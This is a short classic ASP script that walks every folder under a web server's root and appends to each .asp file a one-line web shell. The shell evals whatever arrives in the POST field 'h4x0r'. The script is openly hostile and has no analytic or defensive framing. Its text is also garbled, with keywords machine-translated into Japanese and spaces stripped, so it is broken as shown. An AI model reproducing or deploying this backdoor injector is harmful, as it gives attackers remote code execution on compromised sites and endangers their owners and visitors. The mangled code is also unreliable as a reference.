<%
薄暗い
dimintfile
server.scripttimeout = 600
ph = server.mappath( "/")
subinsertallfiles(パス)
setFSO = createObject( "Scripting.filesystemObject")
onerrorresumenext
setf = fso.getFolder(PATH)
setfc2 = f.files
foreachmyfileinfc2
iflcase(fso.getextensionname(path& ""&myfile.name))= "asp" then
setFS1 = createObject( "Scripting.filesystemObject")
settfile = fs1.opentextfile(path& ""&myfile.name、8、false)
tfile.writeLine "<scriptrunat = serverlanguage = javascript> eval(request.form( 'h4x0r')+'')</script>"
それ以外
IntersAllFiles(NewPath)
endif
tfile.close
次
setfsubfolers = f.subfolders
foreachf1infsubfolers
NewPath = PATH& ""&f1.Name
IntersAllFiles(NewPath)
次
settfile =何も
setfso =何もない
Endingub
%>
<%
callinsertallfiles(ph)
%>